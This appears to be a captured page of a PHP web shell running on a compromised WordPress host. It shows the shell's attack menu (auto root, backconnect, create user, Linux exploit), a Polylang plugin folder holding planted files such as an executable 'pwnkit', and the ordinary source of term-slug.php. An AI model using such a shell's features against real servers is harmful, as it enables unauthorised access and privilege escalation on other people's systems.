Linux webd002.cluster130.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
Apache
: 10.130.40.2 | : 216.73.217.172
Cant Read [ /etc/named.conf ]
8.3.31
espacpq
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
espacpq /
www /
wp-content /
plugins /
polylang /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Capabilities
[ DIR ]
drwxr-xr-x
Model
[ DIR ]
drwxr-xr-x
Options
[ DIR ]
drwxr-xr-x
admin
[ DIR ]
drwxr-xr-x
frontend
[ DIR ]
drwxr-xr-x
install
[ DIR ]
drwxr-xr-x
integrations
[ DIR ]
drwxr-xr-x
modules
[ DIR ]
drwxr-xr-x
settings
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
adminer.php
0
B
-rw-r--r--
api.php
21.77
KB
-rw-r--r--
base.php
6.11
KB
-rw-r--r--
cache.php
2.4
KB
-rw-r--r--
class-polylang.php
8.34
KB
-rw-r--r--
constant-functions.php
1.81
KB
-rw-r--r--
cookie.php
3.03
KB
-rw-r--r--
crud-posts.php
12.82
KB
-rw-r--r--
crud-terms.php
8.75
KB
-rw-r--r--
default-term.php
6.44
KB
-rw-r--r--
filter-rest-routes.php
4.98
KB
-rw-r--r--
filters-links.php
5.64
KB
-rw-r--r--
filters-sanitization.php
3.23
KB
-rw-r--r--
filters-widgets-options.php
2.63
KB
-rw-r--r--
filters.php
12.94
KB
-rw-r--r--
format-util.php
3.04
KB
-rw-r--r--
functions.php
5.14
KB
-rw-r--r--
language-deprecated.php
7.13
KB
-rw-r--r--
language-factory.php
9.4
KB
-rw-r--r--
language.php
18.07
KB
-rw-r--r--
license.php
9.39
KB
-rw-r--r--
links-abstract-domain.php
3.16
KB
-rw-r--r--
links-default.php
3.03
KB
-rw-r--r--
links-directory.php
9.5
KB
-rw-r--r--
links-domain.php
2.91
KB
-rw-r--r--
links-model.php
6.52
KB
-rw-r--r--
links-permalinks.php
5.62
KB
-rw-r--r--
links-subdomain.php
2.16
KB
-rw-r--r--
links.php
1.38
KB
-rw-r--r--
mo.php
3.42
KB
-rw-r--r--
model.php
22.96
KB
-rw-r--r--
nav-menu.php
4.5
KB
-rw-r--r--
olt-manager.php
2.98
KB
-rw-r--r--
pwnkit
0
B
-rwxr-xr-x
query.php
7.73
KB
-rw-r--r--
rest-request.php
4.22
KB
-rw-r--r--
static-pages.php
6.27
KB
-rw-r--r--
switcher.php
10.97
KB
-rw-r--r--
term-slug.php
4.89
KB
-rw-r--r--
translatable-object-with-types...
1.03
KB
-rw-r--r--
translatable-object-with-types...
1.96
KB
-rw-r--r--
translatable-object.php
17.62
KB
-rw-r--r--
translatable-objects.php
3.71
KB
-rw-r--r--
translate-option.php
13.1
KB
-rw-r--r--
translated-object.php
18.93
KB
-rw-r--r--
translated-post.php
17.17
KB
-rw-r--r--
translated-term.php
14.82
KB
-rw-r--r--
walker-dropdown.php
3.77
KB
-rw-r--r--
walker-list.php
2.54
KB
-rw-r--r--
walker.php
2.38
KB
-rw-r--r--
widget-calendar.php
11.58
KB
-rw-r--r--
widget-languages.php
5.34
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : term-slug.php
<?php /** * @package Polylang */ /** * Class for handling term slugs. * * @since 3.7 */ class PLL_Term_Slug { /** * @var PLL_Model */ private $model; /** * @var string */ private $slug; /** * @var string */ private $taxonomy; /** * @var string */ private $name; /** * @var int */ private $term_id; /** * @var PLL_Language */ private $lang; /** * @var int */ private $parent; /** * Constructor. * * @since 3.7 * * @param PLL_Model $model Instance of PLL_Model. * @param string $slug The term slug. * @param string $taxonomy The term taxonomy. * @param string $name The term name. * @param int $term_id The term ID if exists, or 0 if there's no need to know that we are editing an existing term. */ public function __construct( PLL_Model $model, string $slug, string $taxonomy, string $name, int $term_id = 0 ) { $this->model = $model; $this->slug = $slug; $this->taxonomy = $taxonomy; $this->name = $name; $this->term_id = $term_id; } /** * Tells if the suffix can be added or not. * * @since 3.7 * * @return bool True if the suffix can be added, false otherwise. */ private function can_add_suffix() { /** * Filters the subsequently inserted term language. * * @since 3.3 * * @param PLL_Language|null $lang Found language object, null otherwise. * @param string $taxonomy Term taxonomy. * @param string $slug Term slug. */ $lang = apply_filters( 'pll_inserted_term_language', null, $this->taxonomy, $this->slug ); if ( ! $lang instanceof PLL_Language ) { return false; } $this->lang = $lang; $this->parent = 0; if ( is_taxonomy_hierarchical( $this->taxonomy ) ) { /** * Filters the subsequently inserted term parent. * * @since 3.3 * * @param int $parent Parent term ID, 0 if none. * @param string $taxonomy Term taxonomy. * @param string $slug Term slug. */ $this->parent = apply_filters( 'pll_inserted_term_parent', 0, $this->taxonomy, $this->slug ); $this->slug .= $this->maybe_get_parent_suffix(); } if ( ! $this->slug ) { if ( $this->model->term_exists( $this->name, $this->taxonomy, $this->parent, $this->lang ) ) { // Returns the current empty slug if the term exists with the same name and an empty slug. // Same as WP does when providing a term with a name that already exists and no slug. return false; } else { $this->slug = sanitize_title( $this->name ); } } // Check if the slug exists globally, excluding the current term if we're editing. $args = array( 'slug' => $this->slug, 'taxonomy' => $this->taxonomy, 'hide_empty' => false, 'fields' => 'ids', 'lang' => '', // Disable Polylang language filter. 'update_term_meta_cache' => false, // Don't need term meta. ); $terms = get_terms( $args ); // Return true if the slug is already used by another term (excluding the term being edited). return is_array( $terms ) && ! empty( array_diff( $terms, array( $this->term_id ) ) ); } /** * Returns the parent suffix for the slug only if parent slug is the same as the given one. * Recursively appends the parents slugs like WordPress does. * * @since 3.3 * @since 3.7 Moved from `PLL_Share_Term_Slug` to `PLL_Term_Slug`. * * @return string Parents slugs if they are the same as the child slug, empty string otherwise. */ private function maybe_get_parent_suffix() { $parent_suffix = ''; $the_parent = get_term( $this->parent, $this->taxonomy ); if ( ! $the_parent instanceof WP_Term || $the_parent->slug !== $this->slug ) { return $parent_suffix; } /** * Mostly copied from {@see wp_unique_term_slug()}. */ while ( ! empty( $the_parent ) ) { $parent_term = get_term( $the_parent, $this->taxonomy ); if ( ! $parent_term instanceof WP_Term ) { break; } $parent_suffix .= '-' . $parent_term->slug; if ( ! term_exists( $this->slug . $parent_suffix ) ) { break; } $the_parent = $parent_term->parent; } return $parent_suffix; } /** * Returns the term slug, suffixed or not. * * @since 3.7 * * @param string $separator The separator for the slug suffix. * @return string The slug with or without suffix. */ public function get_suffixed_slug( string $separator ): string { if ( ! $this->can_add_suffix() ) { return $this->slug; } $term_id = (int) $this->model->term_exists_by_slug( $this->slug, $this->lang, $this->taxonomy, $this->parent ); // If no term exists in the given language with that slug, it can be created, or if we are editing the existing term. if ( ! $term_id || $this->term_id === $term_id ) { return $this->slug . $separator . $this->lang->slug; } // Different term exists in same language: no suffix, WordPress will handle uniqueness. return $this->slug; } }
Close